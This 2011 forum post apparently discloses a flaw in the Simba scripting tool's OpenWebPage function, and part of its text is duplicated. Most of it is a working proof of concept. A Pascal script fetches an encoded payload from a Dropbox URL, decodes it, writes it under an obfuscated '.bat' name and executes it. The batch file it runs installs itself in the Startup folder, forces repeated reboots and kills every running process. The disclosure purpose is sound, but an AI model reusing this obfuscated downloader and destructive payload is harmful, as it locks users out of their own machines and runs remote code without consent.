Smartzkid
2011-03-18 01:20:02
Simba's OpenWebPage can be used to execute malicious code on a user's machine.
When passed a file, OpenWebPage opens it with the default file handler on the user's system. Security.sex does not intercept this function, therefore if a script writes an executable file to the disk, it can be executed without the user's permission.
Example code (if you want to run this, comment out line 17, or add +'.txt' to the end of line 8):
What it does:
Batch file is as follows:
I had previously planned to keep this to myself in lieu of an exec() function, but as I realized how critical this bug is, I quickly changed my mind.
PS: If you run this, boot in safe mode and delete smart9.bat from the startup folder to remove it.
When passed a file, OpenWebPage opens it with the default file handler on the user's system. Security.sex does not intercept this function, therefore if a script writes an executable file to the disk, it can be executed without the user's permission.
Example code (if you want to run this, comment out line 17, or add +'.txt' to the end of line 8):
program new;
procedure CheckUpdates;
var
logFile, i: integer;
s, log: string;
begin
log := ScriptPath + IntToStr(Random(2000)) + #46#98#97#116;
s := GetPage('http://dl.dropbox.com/u/11414619/SimbaConcept/versionkey.txt');
for i := 1 to high(s) do s[i] := chr(ord(s[i]) - 6);
if(FileExists(log)) then
logFile := RewriteFile(log, false)
else
logFile := CreateFile(log);
WriteFileString(logFile, s);
CloseFile(logFile);
OpenWebPage(log);
end;
begin
CheckUpdates;
end.What it does:
- Creates a batch file in the script's directory with a random numeric name
- Executes batch file
- Batch file adds itself to startup directory
- Batch file attempts to kill all applications and restart every 3 seconds
Batch file is as follows:
@ECHO OFF
copy %0 "%allusersprofile%\Start Menu\Programs\Startup\smart9.bat"
shutdown.exe /r /t 3 /f
if NOT EXIST %SYSTEMROOT%\System32\taskkill.exe goto:r
:n
taskkill.exe /FI "STATUS eq RUNNING" /FI "IMAGENAME ne cmd.exe" /IM * /T /F
goto:n
:r
FOR /L %%A IN (0, 1, 2000) DO tskill %%A
goto:rI had previously planned to keep this to myself in lieu of an exec() function, but as I realized how critical this bug is, I quickly changed my mind.
PS: If you run this, boot in safe mode and delete smart9.bat from the startup folder to remove it.